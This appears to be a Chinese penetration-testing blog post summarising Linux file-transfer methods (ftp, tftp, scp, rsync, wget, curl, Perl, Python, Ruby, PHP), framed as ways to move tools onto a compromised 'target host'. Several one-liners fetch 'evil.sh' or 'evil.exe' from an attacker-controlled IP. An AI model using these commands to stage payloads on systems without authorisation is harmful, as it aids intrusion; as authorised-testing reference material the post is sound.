Windows&Linux文件传输方式总结(二)

简介: Windows&Linux文件传输方式总结(二)

免责声明



本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。


文章正文


Linux

ftp

ftp在linux一般都自带,我们可以在终端输入ftp进行交互,所以我们可以在本地搭建FTP服务,之后在目标主机上通过终端下的ftp进行远程连接来下载文件

可以使用python3的pyftpdlib模块来搭建ftp:

安装

pip install pyftpdlib


启动

python -m pyftpdlib -p 2121


至此一个简单的FTP服务器已经搭建完成,访问 ftp://127.0.0.1:2121 即可

(默认IP为 127.0.0.1 、端口为 2121

可选参数:

-i 指定IP地址(默认为本机的IP地址)-p 指定端口(默认为2121)-w 写权限(默认为只读)-d 指定目录 (默认为当前目录)-u 指定用户名登录-P 设置登录密码


也可以使用IPOP启动一个简易的FTP服务:

之后在目标主机上远程下载evil.exe文件:


tftp

使用下面的命令将服务器本地文件上传到远程主机:

(从服务器下载远程主机的文件也类似,不再演示)

第一步,远程主机运行TFTP服务

apt-get install atftpd  //安装tftp服务程序mkdir /tmp/backup  //创建目录chmod 777 /tmp/backup  //修改权限sudo atftpd --daemon --port 69 /tmp/backup  //启动服务程序


第二步,Linux服务器创建测试文件并使用tftp将文件上传到远程主机

echo "sent by tftp." > tftp.senttftp 192.168.43.237put tftp.sent tftp.get


第三步,远程主机查看接收到的文件


sftp

sftp是Secure File Transfer Protocol的缩写,安全文件传送协议。可以为传输文件提供一种安全的网络的加密方法。sftp 与 ftp 有着几乎一样的语法和功能。SFTP 为 SSH的其中一部分。

用法:

运行SSH服务

systemctl start sshd


连接远程服务器:

sftp username@ip


回车之后输入服务器密码即可连接成功。

将文件上传到服务器上:

put [本地文件的地址] [服务器上文件存储的位置]


将服务器上的文件下载到本地:

get [服务器上文件存储的位置] [本地要存储的位置]



scp

scp是secure copy的简写,用于在Linux下进行远程拷贝文件/目录的命令。

和它类似的命令有cp,不过cp只是在本机进行拷贝不能跨服务器,而且scp传输是加密的。可能会稍微影响一下速度。当你服务器硬盘变为只读 read only system时,用scp可以帮你把文件移出来。



另外,scp还非常不占资源,不会提高多少系统负荷,在这一点上,rsync就远远不及它了。虽然 rsync比scp会快一点,但当小文件众多的情况下,rsync会导致硬盘I/O非常高,而scp基本不影响系统正常使用。scp在跨机器复制的时候为了提高数据的安全性,使用了ssh连接和加密方式,如果机器之间配置了ssh免密码登录,那在使用scp的时候密码都不用输入。


安装:

yum install -y openssh-clients


使用:

从本地复制到远程

# 拷贝文件scp /home/test/test.txt root@192.168.0.2:/home/test/# 拷贝目录scp -r /home/test/ root@192.168.0.2:/home/test/


从远程复制到本地

# 拷贝文件scp root@192.168.0.2:/home/test/test.txt /home/test/# 拷贝目录scp -r root@192.168.0.2:/home/test/ v/home/test/



rsync

rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机之间的文件。也可以使用 rsync 同步本地硬盘中的不同目录。

rsync 具有如下的基本特性:

可以镜像保存整个目录树和文件系统可以很容易做到保持原来文件的权限、时间、软硬链接等无须特殊权限即可安装优化的流程,文件传输效率高可以使用 rsh、ssh 方式来传输文件,当然也可以通过直接的 socket 连接支持匿名传输,以方便进行网站镜象


在使用 rsync 进行远程同步时,可以使用两种方式:远程 Shell 方式(建议使用 ssh,用户验证由 ssh 负责)和 C/S 方式(即客户连接远程 rsync 服务器,用户验证由 rsync 服务器负责)。

无论本地同步目录还是远程同步数据,首次运行时将会把全部文件拷贝一次,以后再运行时将只拷贝有变化的文件(对于新文件)或文件的变化部分(对于原有文件)。

rsync 的命令格式为:

1)本地使用:rsync [OPTION...] SRC... [DEST]2)通过远程 Shell 使用:拉: rsync [OPTION...] [USER@]HOST:SRC... [DEST]推: rsync [OPTION...] SRC... [USER@]HOST:DEST3)访问 rsync 服务器:拉: rsync [OPTION...] [USER@]HOST::SRC... [DEST]推: rsync [OPTION...] SRC... [USER@]HOST::DEST拉: rsync [OPTION...] rsync://[USER@]HOST[:PORT]/SRC... [DEST]推: rsync [OPTION...] SRC... rsync://[USER@]HOST[:PORT]/DEST


例子,使用下面的命令将服务器本地文件上传到远程主机:

echo "sent by rsync." > rsync.sent
rsync -v -u -a -stat rsync.sent user1@192.168.43.237:/home/user1/rsync.get


远程主机查看接收到的文件


rz、sz(lrzsz)

rz sz指令可以实现linux和windows之间的文件传输,但要求在windows客户端要安装Xshell或SecureCRT远程连接工具。

rz指令和sz指令是一对上传与下载的指令。它们的软件包名为lrzsz。

  • rz : 用于linux与windows之间的文件上传
  • sz : 用于linux与windows之间的文件下载

工具的安装: 

yum install lrzsz -y


rz sz指令使用很简单,执行rz 指令,远程连接工具会弹出windows文件选择窗口,只要选择要上传的文件即可

文件上传:

文件下载:


wget

wget 是一个从网络上自动下载文件的自由工具,支持通过 HTTP、HTTPS、FTP 三个最常见的 TCP/IP协议下载,并可以使用HTTP 代理。"wget" 这个名称来源于 “World Wide Web” 与 “get” 的结合。当目标主机上有安装wget时,我们可以直接通过该应用程序来实现远程文件下载:

wget http://192.168.174.1:1234/evil.sh



cURL

cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行,它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具,cURL还包含了用于程序开发的libcurl,当目标主机中安装了curl时我们可以通过以下方式来实现远程下载文件到本地:

curl http://192.168.174.1:1234/evil.sh -o evil.sh



netcat



首先,我们在本地使用nc起一个监听,并传递我们想要传输的文件名称:



之后在目标主机上下载文件:


Perl

Perl是目前很受欢迎的主流脚本语言,linux主机一般都自带perl环境,我们可以在终端中使用vim来编辑一个perl脚本,之后执行perl来实现远程文件下载:

#!perl#!/usr/bin/perluse LWP::Simple;getstore("http://192.168.174.1:1234/evil.sh","evil.sh");




之后在终端运行该perl文件即可:


python


Python是目前很受欢迎的主流脚本语言,当目标主机内安装了python时,我们可以在shell中使用python来实现远程文件下载:


Type "help", "copyright", "credits" or "license" for more information.>>> import urllib2>>> u = urllib2.urlopen('http://192.168.174.1:1234/evil.sh')>>> localfile = open('local_file.sh','w')>>> localfile.write(u.read())>>> localfile.close()>>>



Ruby


当目标主机内安装了Ruby时,我们可以在终端使用vim来编辑一个Ruby脚本,之后执行Ruby来实现远程文件下载:

#!ruby#!/usr/bin/rubyrequire 'net/http'Net::HTTP.start("192.168.174.1") { |http|r = http.get("/evil.sh")open("save_location.sh", "wb") { |file|file.write(r.body)}}



成功下载文件到本地



PHP

当目标主机内安装了PHP时,我们可以在终端使用vim来编辑一个PHP脚本,之后执行PHP来实现远程文件下载:

<?php $data = @file("http://example.com/file.sh");        $lf = "local_file.sh";        $fh = fopen($lf, 'w');        fwrite($fh, $data[0]);        fclose($fh);?>


成功下载远程文件到本地

相关文章
|
9天前
|
Linux Windows
Linux01---目录结构,Linux系统下只有一个最顶级的树/,Windows系统有盘符概念,而Linux系统没有盘符概念,整个系统都在/根目录下,Linux 系统写法 /user/local
Linux01---目录结构,Linux系统下只有一个最顶级的树/,Windows系统有盘符概念,而Linux系统没有盘符概念,整个系统都在/根目录下,Linux 系统写法 /user/local
|
19天前
|
安全 Ubuntu Linux
Linux 文件传输利器:SCP 和 LRZSZ
**摘要:** 本文介绍了Linux下安全的文件传输工具`scp`和`lrzsz`。`scp`基于SSH,用于安全地在本地和远程主机间拷贝文件或目录,例如`scp user@host:file local_path`或`scp local_file user@host:remote_path`。`lrzsz`包含`rz`(上传)和`sz`(下载)命令,通过SSH连接传输文件,安装后在终端中使用`rz`选择本地文件上传,用`sz file`下载远程文件。注意`scp`需正确权限,`lrzsz`需SSH客户端支持ZModem。这两个工具为跨平台文件传输提供了便利。
23 2
|
27天前
|
Ubuntu Linux C语言
【opencv】opencv在windows和linux的应用
【opencv】opencv在windows和linux的应用
|
16天前
|
Linux 数据安全/隐私保护 Windows
pscp 将Linux服务器上的文件同步到Windows服务器上
【6月更文挑战第28天】pscp 将Linux服务器上的文件同步到Windows服务器上
23 0
|
17天前
|
运维 网络协议 Linux
Linux与Windows下追踪网络路由:traceroute、tracepath与tracert命令详解
Linux与Windows下追踪网络路由:traceroute、tracepath与tracert命令详解
27 0
|
20天前
|
Linux Windows
windows和linux安装Erlang
windows和linux安装Erlang
37 0
|
23天前
|
网络协议 Linux 编译器
【原创】EtherCAT主站IgH解析(二)-- 如何将Igh移植到Linux/Windows/RTOS等多操作系统移植指南
EtherCAT主站方案对比:商业的如Acontis、TwinCAT3和开源的igh、SOEM。SOEM易移植但功能和实时性不足,适合简单应用;igh功能强大,实时性能优秀,基于内核态,适合复杂场景。igh能移植到其他RTOS,但需克服多任务无调度的挑战。依赖操作系统服务如定时器、内存分配,适合Linux内核,但移植到裸机复杂。
|
1月前
|
Rust Linux iOS开发
Rust 交叉编译 macOS 为 Linux 和 Windows
Rust 交叉编译 macOS 为 Linux 和 Windows
45 0
|
2月前
|
弹性计算 运维 安全
阿里云服务器Windows和Linux操作系统区别对比
阿里云服务器Windows和Linux操作系统区别对比,性能有差异吗?有,同配置下Linux性能要优于Windows,但这与阿里云无关,仅仅是linux和windows之间的区别。另外,阿里云提供的windows和linux操作系统均为正版授权,用户不需要额外支付许可费用,如何选择?看用户自己的应用程序情况。
|
2月前
|
运维 安全 Linux
使用阿里云搭建幻兽帕鲁服务器操作系统类型Windows和Linux有区别吗?
使用阿里云搭建幻兽帕鲁服务器操作系统类型Windows和Linux有区别吗?性能有差异?同配置的游戏服务器,如4核16G或8核32G配置等,选择Windows和Linux操作系统差异不太大,如果非要对比的话,Linux系统相对Windows更少占用计算资源,当然如果对Linux不熟悉的话,可以选择Windows。另外,即便是幻兽帕鲁服务器创建成功后,也是可以免费修改操作系统的
169 1